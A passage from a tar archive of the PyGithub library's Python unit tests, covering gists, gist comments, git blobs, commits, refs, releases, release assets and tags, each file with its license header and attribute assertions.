self.assertEqual(list(gist.files.keys()), ["bar.txt"]) def testRenameFile(self): gist = self.g.get_gist("5339374") self.assertEqual(list(gist.files.keys()), ["bar.txt"]) gist.edit(files={"bar.txt": github.InputFileContent(gist.files["bar.txt"].content, new_name="baz.txt")}) self.assertEqual(list(gist.files.keys()), ["baz.txt"]) def testCreateComment(self): gist = self.g.get_gist("2729810") comment = gist.create_comment("Comment created by PyGithub") self.assertEqual(comment.id, 323629) def testGetComments(self): gist = self.g.get_gist("2729810") self.assertListKeyEqual(gist.get_comments(), lambda c: c.id, [323637]) def testStarring(self): gist = self.g.get_gist("2729810") self.assertFalse(gist.is_starred()) gist.set_starred() self.assertTrue(gist.is_starred()) gist.reset_starred() self.assertFalse(gist.is_starred()) def testFork(self): gist = self.g.get_gist("6296553") # Random gist myGist = gist.create_fork() self.assertEqual(myGist.id, "6296732") self.assertEqual(myGist.fork_of, None) # WTF sameGist = self.g.get_gist("6296732") self.assertEqual(sameGist.fork_of.id, "6296553") def testDelete(self): gist = self.g.get_gist("2729810") gist.delete() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GistComment.py0000644000175100001660000001016314756101563016734 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class GistComment(Framework.TestCase): def setUp(self): super().setUp() self.comment = self.g.get_gist("2729810").get_comment(323629) def testAttributes(self): self.assertIsNone(self.comment.author_association) self.assertEqual(self.comment.body, "Comment created by PyGithub") self.assertEqual( self.comment.created_at, datetime(2012, 5, 19, 7, 7, 57, tzinfo=timezone.utc), ) self.assertEqual(self.comment.id, 323629) self.assertIsNone(self.comment.node_id) self.assertEqual( self.comment.updated_at, datetime(2012, 5, 19, 7, 7, 57, tzinfo=timezone.utc), ) self.assertEqual(self.comment.url, "https://api.github.com/gists/2729810/comments/323629") self.assertEqual(self.comment.user.login, "jacquev6") self.assertEqual( repr(self.comment), 'GistComment(user=NamedUser(login="jacquev6"), id=323629)', ) def testEdit(self): self.comment.edit("Comment edited by PyGithub") self.assertEqual(self.comment.body, "Comment edited by PyGithub") self.assertEqual( self.comment.updated_at, datetime(2012, 5, 19, 7, 12, 32, tzinfo=timezone.utc), ) def testDelete(self): self.comment.delete() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GitBlob.py0000644000175100001660000001005114756101563016021 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class GitBlob(Framework.TestCase): def setUp(self): super().setUp() self.blob = self.g.get_user().get_repo("PyGithub").get_git_blob("53bce9fa919b4544e67275089b3ec5b44be20667") def testAttributes(self): self.assertTrue( self.blob.content.startswith( "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgpmcm9tIGRpc3R1dGlscy5jb3JlIGlt\ncG9ydCBzZXR1cAppbXBvcnQgdGV4dHdyYXAKCnNldHVwKAogICAgbmFtZSA9\n" ) ) self.assertTrue( self.blob.content.endswith( "Z3JhbW1pbmcgTGFuZ3VhZ2UgOjogUHl0aG9uIiwKICAgICAgICAiVG9waWMg\nOjogU29mdHdhcmUgRGV2ZWxvcG1lbnQiLAogICAgXSwKKQo=\n" ) ) self.assertEqual(len(self.blob.content), 1757) self.assertEqual(self.blob.encoding, "base64") self.assertEqual(self.blob.sha, "53bce9fa919b4544e67275089b3ec5b44be20667") self.assertEqual( self.blob.url, "https://api.github.com/repos/jacquev6/PyGithub/git/blobs/53bce9fa919b4544e67275089b3ec5b44be20667", ) self.assertEqual(self.blob.size, 1295) self.assertEqual( repr(self.blob), 'GitBlob(sha="53bce9fa919b4544e67275089b3ec5b44be20667")', ) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GitCommit.py0000644000175100001660000001617214756101563016405 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # Copyright 2025 Tim Gates # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class GitCommit(Framework.TestCase): def setUp(self): super().setUp() self.commit = self.g.get_repo("PyGithub/PyGithub").get_git_commit("3d84a47a88f6757514cb3ee91b829f53ba09e7e0") def testAttributes(self): self.assertEqual(self.commit.author.name, "Enrico Minack") self.assertEqual(self.commit.author.email, "github@enrico.minack.dev") self.assertEqual(self.commit.author.date, datetime(2024, 12, 18, 10, 40, 19, tzinfo=timezone.utc)) self.assertIsNone(self.commit.comment_count) self.assertEqual(self.commit.committer.name, "GitHub") self.assertEqual(self.commit.committer.email, "noreply@github.com") self.assertEqual(self.commit.committer.date, datetime(2024, 12, 18, 10, 40, 19, tzinfo=timezone.utc)) self.assertEqual( self.commit.html_url, "https://github.com/PyGithub/PyGithub/commit/3d84a47a88f6757514cb3ee91b829f53ba09e7e0" ) self.assertIsNone(self.commit.id) self.assertEqual( self.commit.message, "Get branches where commit is head (#3083)\n\nImplements `GET\r\n/repos/{owner}/{repo}/commits/{commit_sha}/branches-where-head`\r\n\r\nhttps://docs.github.com/rest/commits/commits#list-branches-for-head-commit", ) self.assertEqual(self.commit.node_id, "C_kwDOADYVqtoAKDNkODRhNDdhODhmNjc1NzUxNGNiM2VlOTFiODI5ZjUzYmEwOWU3ZTA") self.assertEqual(len(self.commit.parents), 1) self.assertEqual(self.commit.parents[0].sha, "a50ae51b2c351b889055568bcaa9ab6000f1677f") self.assertEqual(self.commit.sha, "3d84a47a88f6757514cb3ee91b829f53ba09e7e0") self.assertIsNone(self.commit.timestamp) self.assertEqual(self.commit.tree.sha, "d9e2468f2db35e158eb65e91b249dde20ca88c86") self.assertIsNone(self.commit.tree_id) self.assertEqual( self.commit.url, "https://api.github.com/repos/PyGithub/PyGithub/git/commits/3d84a47a88f6757514cb3ee91b829f53ba09e7e0", ) self.assertEqual(repr(self.commit), 'GitCommit(sha="3d84a47a88f6757514cb3ee91b829f53ba09e7e0")') self.assertEqual(repr(self.commit.author), 'GitAuthor(name="Enrico Minack")') self.assertEqual( self.commit.verification.payload, "tree d9e2468f2db35e158eb65e91b249dde20ca88c86\n" "parent a50ae51b2c351b889055568bcaa9ab6000f1677f\n" "author Enrico Minack 1734518419 +0100\n" "committer GitHub 1734518419 +0100\n" "\n" "Get branches where commit is head (#3083)\n" "\n" "Implements `GET\r\n" "/repos/{owner}/{repo}/commits/{commit_sha}/branches-where-head`\r\n" "\r\n" "https://docs.github.com/rest/commits/commits#list-branches-for-head-commit", ) self.assertEqual(self.commit.verification.reason, "valid") self.assertEqual( self.commit.verification.signature, "-----BEGIN PGP SIGNATURE-----\n" "\n" "wsFcBAABCAAQBQJnYqaTCRC1aQ7uu5UhlAAAp3wQAGPaBPEC4WlL9rvDA6G+kaRZ\n" "+296Qb/jRjZX6joS//aQq5rjHKn//qTv13lTBQnM1a7gFfvA7TSoxNsoqzkk6DAe\n" "ME7qoSMYWl+GdvXsySo4ksGbFN0LL77CSmJyFXRXB5TIjUJT7dbjTkjE9/4zcfq4\n" "mR8D57GowX7YgqUeRzf8+5zz7ySJ9hAMcF/n+OJjLiew0RFp3hQBSFOr/1B4YJbL\n" "0Ln9i/DH9KBhwIUnc68k04GxVtAMaS7X0SOVbezylaBlQyF2JV3bDbb38h77KPJ1\n" "ln0qPi+hamZu43pbKGNuj1BjiLsavKHx5v4EYQ5gUzBDLlUMvUUmFNb4lrbulmSw\n" "g2Fr13dbjRmgHa5Lj7VAay3xXFwdTGNH3o04uefpvZ/6sRB1e9fP4VR5UVECZLe0\n" "D5Au4VSA7usgOLdDjxoG6mBOzEY7vWkbCmbFxB1Q1tWY53ecw9NJ15p8NAtH2dR1\n" "+xUeNzDeQMHS4FIZ/Z6c6RuUyusK7fRAxddhUoXu4KVEwbdEV9qsEKDqtW4eUMXX\n" "QQBtkxzZkL1lMz4UTXnHwG5jSbHVz3tSyYYpQYZPO2zE/TOrfuZzYGOZ2g9vreNt\n" "Ta8u/MMtvhguLV1qCEqAgzDQo0Kx+dc+ueNt/ruCuhWxn0jl0LMX4qvmZX1d2X58\n" "J9ub7sFcpLb1gsueYKQ6\n" "=RKbN\n" "-----END PGP SIGNATURE-----\n", ) self.assertEqual(self.commit.verification.verified, True) self.assertEqual(self.commit.verification.verified_at, datetime(2024, 12, 18, 10, 45, 21, tzinfo=timezone.utc)) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GitCommitVerification.py0000644000175100001660000000502214756101563020740 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2021 Claire Johns <42869556+johnsc1@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # Copyright 2025 Enrico Minack # # Copyright 2025 Tim Gates # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from . import Framework class GitCommitVerification(Framework.TestCase): def setUp(self): super().setUp() self.commit = self.g.get_repo("PyGithub/PyGithub", lazy=True).get_commit( "801d64a4c5c0fcb63f695e0f6799117e76e5fe67" ) def testAttributes(self): verification = self.commit.commit.verification self.assertEqual(verification.verified, True) self.assertIsNone(verification.verified_at) self.assertEqual(verification.reason, "valid") self.assertRegex(verification.signature, ".*PGP.*") self.assertRegex(verification.payload, ".*tree.*") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GitRef.py0000644000175100001660000001006014756101563015657 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from . import Framework class GitRef(Framework.TestCase): def setUp(self): super().setUp() self.ref = self.g.get_user().get_repo("PyGithub").get_git_ref("heads/BranchCreatedByPyGithub") def testAttributes(self): self.assertIsNone(self.ref.node_id) self.assertEqual(self.ref.object.sha, "1292bf0e22c796e91cc3d6e24b544aece8c21f2a") self.assertEqual(self.ref.object.type, "commit") self.assertEqual( self.ref.object.url, "https://api.github.com/repos/jacquev6/PyGithub/git/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a", ) self.assertEqual(self.ref.ref, "refs/heads/BranchCreatedByPyGithub") self.assertEqual( self.ref.url, "https://api.github.com/repos/jacquev6/PyGithub/git/refs/heads/BranchCreatedByPyGithub", ) self.assertEqual(repr(self.ref), 'GitRef(ref="refs/heads/BranchCreatedByPyGithub")') self.assertEqual( repr(self.ref.object), 'GitObject(sha="1292bf0e22c796e91cc3d6e24b544aece8c21f2a")', ) def testEdit(self): self.ref.edit("04cde900a0775b51f762735637bd30de392a2793") def testEditWithForce(self): self.ref.edit("4303c5b90e2216d927155e9609436ccb8984c495", force=True) def testDelete(self): self.ref.delete() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GitRelease.py0000644000175100001660000003125614756101563016535 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2015 Ed Holland # # Copyright 2016 Benjamin Whitney # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Chris McBride # # Copyright 2017 Simon # # Copyright 2018 Andrew Smith # # Copyright 2018 Daniel Kesler # # Copyright 2018 Ggicci # # Copyright 2018 Kuba # # Copyright 2018 Maarten Fonville # # Copyright 2018 Shinichi TAMURA # # Copyright 2018 Wan Liuyang # # Copyright 2018 edquist # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Jesse Li # # Copyright 2020 Steve Kowalik # # Copyright 2021 Sam Morgan # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Mikhail f. Shiryaev # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import os import zipfile from datetime import datetime, timezone from github import GithubException from . import Framework class FileLikeStub: def __init__(self): self.dat = b"I wanted to come up with some clever phrase or something here to test with but my mind is blank." self.file_length = len(self.dat) self.index = 0 def read(self, size=-1): if size < 0 or size is None: start = self.index self.index = self.file_length return self.dat[start:] else: start = self.index end = start + size self.index = end return self.dat[start:end] repo_name = "RepoTest" user = "rickrickston123" release_id = 28524234 author_id = 64711998 tag = "v1.0" create_date = datetime(2020, 7, 12, 7, 34, 42, tzinfo=timezone.utc) publish_date = datetime(2020, 7, 14, 0, 58, 20, tzinfo=timezone.utc) class GitRelease(Framework.TestCase): def setUp(self): super().setUp() self.new_tag = "v1.25.2" # Used for new releases self.content_path = "content.txt" self.artifact_path = "archive.zip" with open(self.content_path, "w") as zip_content: zip_content.write("Pedro for president.") artifact = zipfile.ZipFile(self.artifact_path, "w") artifact.write(self.content_path) artifact.close() self.repo = self.g.get_user(user).get_repo(repo_name) self.release = self.repo.get_release(release_id) def tearDown(self): if os.path.exists(self.content_path): os.remove(self.content_path) if os.path.exists(self.artifact_path): os.remove(self.artifact_path) super().tearDown() def setUpNewRelease(self): repo = self.repo commit_sha = repo.get_commits()[0].sha # Just need any commit self.new_release = repo.create_git_tag_and_release( self.new_tag, "tag message", "release title", "release message", commit_sha, "commit", ) self.new_release_id = self.new_release.id def tearDownNewRelease(self): try: new_release = self.repo.get_release(self.new_release_id) new_release.delete_release() except GithubException: pass # Already deleted def testAttributes(self): release = self.release self.assertEqual( release.assets[0].url, "https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494" ) self.assertEqual( release.assets_url, "https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets" ) self.assertEqual(release.author.login, "rickrickston123") self.assertEqual(release.body, "Body") self.assertIsNone(release.body_html) self.assertIsNone(release.body_text) self.assertEqual(release.created_at, datetime(2020, 7, 12, 7, 34, 42, tzinfo=timezone.utc)) self.assertIsNone(release.discussion_url) self.assertIsNone(release.documentation_url) self.assertEqual(release.draft, False) self.assertEqual(release.html_url, "https://github.com/rickrickston123/RepoTest/releases/tag/v1.0") self.assertEqual(release.id, release_id) self.assertIsNone(release.mentions_count) self.assertIsNone(release.message) self.assertIsNone(release.name) self.assertEqual(release.node_id, "MDc6UmVsZWFzZTI4NTI0MjM0") self.assertEqual(release.prerelease, False) self.assertEqual(release.published_at, datetime(2020, 7, 14, 0, 58, 20, tzinfo=timezone.utc)) self.assertIsNone(release.reactions) self.assertIsNone(release.status) self.assertEqual(release.tag_name, tag) self.assertEqual(release.tarball_url, "https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0") self.assertEqual(release.target_commitish, "master") self.assertEqual( release.upload_url, "https://uploads.github.com/repos/{}/{}/releases/{}/assets{{?name,label}}".format( user, repo_name, release_id ), ) self.assertEqual(release.body, "Body") self.assertEqual(release.title, "Test") self.assertFalse(release.draft) self.assertFalse(release.prerelease) self.assertEqual( release.url, f"https://api.github.com/repos/{user}/{repo_name}/releases/{release_id}", ) self.assertEqual(release.author._rawData["login"], user) self.assertEqual(release.author.login, user) self.assertEqual(release.author.id, author_id) self.assertEqual(release.author.type, "User") self.assertEqual( release.html_url, f"https://github.com/{user}/{repo_name}/releases/tag/{tag}", ) self.assertEqual(release.created_at, create_date) self.assertEqual(release.published_at, publish_date) self.assertEqual( release.tarball_url, f"https://api.github.com/repos/{user}/{repo_name}/tarball/{tag}", ) self.assertEqual( release.zipball_url, f"https://api.github.com/repos/{user}/{repo_name}/zipball/{tag}", ) self.assertEqual(repr(release), 'GitRelease(title="Test")') self.assertEqual(len(release.assets), 1) self.assertEqual( repr(release.assets[0]), 'GitReleaseAsset(url="https://api.github.com/repos/' f'{user}/{repo_name}/releases/assets/{release.raw_data["assets"][0]["id"]}")', ) def testGetRelease(self): release_by_id = self.release release_by_tag = self.repo.get_release(tag) self.assertEqual(release_by_id, release_by_tag) def testGetLatestRelease(self): latest_release = self.repo.get_latest_release() self.assertEqual(latest_release.tag_name, tag) def testGetAssets(self): repo = self.repo release = self.release self.assertEqual(release.id, release_id) asset_list = [x for x in release.get_assets()] self.assertTrue(asset_list is not None) self.assertEqual(len(asset_list), 1) asset_id = asset_list[0].id asset = repo.get_release_asset(asset_id) self.assertTrue(asset is not None) self.assertEqual(asset.id, asset_id) def testDelete(self): self.setUpNewRelease() self.new_release.delete_release() self.tearDownNewRelease() def testUpdate(self): self.setUpNewRelease() release = self.new_release new_release = release.update_release("Updated Test", "Updated Body") self.assertEqual(new_release.title, "Updated Test") self.assertEqual(new_release.body, "Updated Body") self.tearDownNewRelease() def testUploadAsset(self): self.setUpNewRelease() release = self.new_release self.assertEqual(release.id, self.new_release_id) release.upload_asset(self.artifact_path, "unit test artifact", "application/zip") self.tearDownNewRelease() def testUploadAssetWithName(self): self.setUpNewRelease() release = self.new_release r = release.upload_asset(self.artifact_path, name="foobar.zip", content_type="application/zip") self.assertEqual(r.name, "foobar.zip") self.tearDownNewRelease() def testCreateGitTagAndRelease(self): self.setUpNewRelease() # Creation code already done in setup, so we'll just test what's already here. release = self.new_release self.assertEqual(release.tag_name, self.new_tag) self.assertEqual(release.body, "release message") self.assertEqual(release.title, "release title") self.assertEqual(release.author._rawData["login"], user) self.assertEqual( release.html_url, f"https://github.com/{user}/{repo_name}/releases/tag/{self.new_tag}", ) self.tearDownNewRelease() def testUploadAssetFromMemory(self): self.setUpNewRelease() release = self.new_release content_size = os.path.getsize(self.content_path) with open(self.content_path, "rb") as f: release.upload_asset_from_memory( f, content_size, name="file_name", content_type="text/plain", label="unit test artifact", ) asset_list = [x for x in release.get_assets()] self.assertTrue(asset_list is not None) self.assertEqual(len(asset_list), 1) self.tearDownNewRelease() def testUploadAssetFileLike(self): self.setUpNewRelease() file_like = FileLikeStub() release = self.new_release release.upload_asset_from_memory( file_like, file_like.file_length, name="file_like", content_type="text/plain", label="another unit test artifact", ) asset_list = [x for x in release.get_assets()] self.assertTrue(asset_list is not None) self.assertEqual(len(asset_list), 1) self.tearDownNewRelease() ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GitReleaseAsset.py0000644000175100001660000001336514756101563017536 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import os from datetime import datetime, timezone from tempfile import NamedTemporaryFile from unittest import skipIf from . import Framework class GitReleaseAsset(Framework.TestCase): def setUp(self): super().setUp() self.release = self.g.get_repo("EnricoMi/PyGithub", lazy=True).get_release(197548596) self.asset = self.release.assets[0] def testAttributes(self): self.assertEqual( self.asset.browser_download_url, "https://github.com/EnricoMi/PyGithub/releases/download/v1.55/asset1.md" ) self.assertEqual(self.asset.content_type, "text/markdown") self.assertEqual(self.asset.created_at, datetime(2025, 1, 30, 11, 11, 32, tzinfo=timezone.utc)) self.assertEqual(self.asset.download_count, 0) self.assertEqual(self.asset.id, 224868540) self.assertIsNone(self.asset.label) self.assertEqual(self.asset.name, "asset1.md") self.assertEqual(self.asset.node_id, "RA_kwDOGpsAJ84NZzi8") self.assertEqual(self.asset.size, 2524) self.assertEqual(self.asset.state, "uploaded") self.assertEqual(self.asset.updated_at, datetime(2025, 1, 30, 11, 12, tzinfo=timezone.utc)) self.assertEqual(self.asset.uploader.login, "EnricoMi") self.assertEqual(self.asset.url, "https://api.github.com/repos/EnricoMi/PyGithub/releases/assets/224868540") @skipIf(os.name == "nt", "not working on Windows") def testDownloadAssetFile(self): with NamedTemporaryFile(mode="rb") as file: self.asset.download_asset(file.name) content = file.read() self.assertEqual(len(content), 2524) self.assertEqual( content[:172], b"# PyGitHub\n\n" b"[![PyPI](https://img.shields.io/pypi/v/PyGithub.svg)](https://pypi.python.org/pypi/PyGithub)\n" b"![CI](https://github.com/PyGithub/PyGithub/workflows/CI/badge.svg)\n", ) self.assertEqual(content[-50:], b"send an email to someone in the MAINTAINERS file.\n") source_asset = self.release.assets[1] with NamedTemporaryFile(mode="rb") as file: source_asset.download_asset(file.name) content = file.read() self.assertEqual(len(content), 1199) self.assertEqual(content[:19], b"\x1f\x8b\x08\x08\xf5\x9aag\x00\x03README.md") def testDownloadAssetStream(self): (_, _, chunks) = self.asset.download_asset() content = b"".join([chunk for chunk in chunks if chunk]) self.assertEqual(len(content), 2524) self.assertEqual( content[:172], b"# PyGitHub\n\n" b"[![PyPI](https://img.shields.io/pypi/v/PyGithub.svg)](https://pypi.python.org/pypi/PyGithub)\n" b"![CI](https://github.com/PyGithub/PyGithub/workflows/CI/badge.svg)\n", ) self.assertEqual(content[-50:], b"send an email to someone in the MAINTAINERS file.\n") source_asset = self.release.assets[1] (_, _, chunks) = source_asset.download_asset() content = b"".join([chunk for chunk in chunks if chunk]) self.assertEqual(len(content), 1199) self.assertEqual(content[:19], b"\x1f\x8b\x08\x08\xf5\x9aag\x00\x03README.md") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GitTag.py0000644000175100001660000001046614756101563015670 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Simon # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from . import Framework class GitTag(Framework.TestCase): def setUp(self): super().setUp() self.tag = self.g.get_repo("PyGithub/PyGithub").get_git_tag("f5f37322407b02a80de4526ad88d5f188977bc3c") def testAttributes(self): self.assertEqual(self.tag.message, "Version 0.6\n") self.assertEqual(self.tag.node_id, "MDM6VGFnMzU0NDQ5MDpmNWYzNzMyMjQwN2IwMmE4MGRlNDUyNmFkODhkNWYxODg5NzdiYzNj") self.assertEqual(self.tag.object.sha, "4303c5b90e2216d927155e9609436ccb8984c495") self.assertEqual(self.tag.object.type, "commit") self.assertEqual( self.tag.object.url, "https://api.github.com/repos/PyGithub/PyGithub/git/commits/4303c5b90e2216d927155e9609436ccb8984c495", ) self.assertEqual(self.tag.sha, "f5f37322407b02a80de4526ad88d5f188977bc3c") self.assertEqual(self.tag.tag, "v0.6") self.assertEqual(self.tag.tagger.date, datetime(2012, 5, 10, 18, 14, 15, tzinfo=timezone.utc)) self.assertEqual(self.tag.tagger.email, "vincent@vincent-jacques.net") self.assertEqual(self.tag.tagger.name, "Vincent Jacques") self.assertEqual( self.tag.url, "https://api.github.com/repos/PyGithub/PyGithub/git/tags/f5f37322407b02a80de4526ad88d5f188977bc3c", ) self.assertEqual(repr(self.tag), 'GitTag(tag="v0.6", 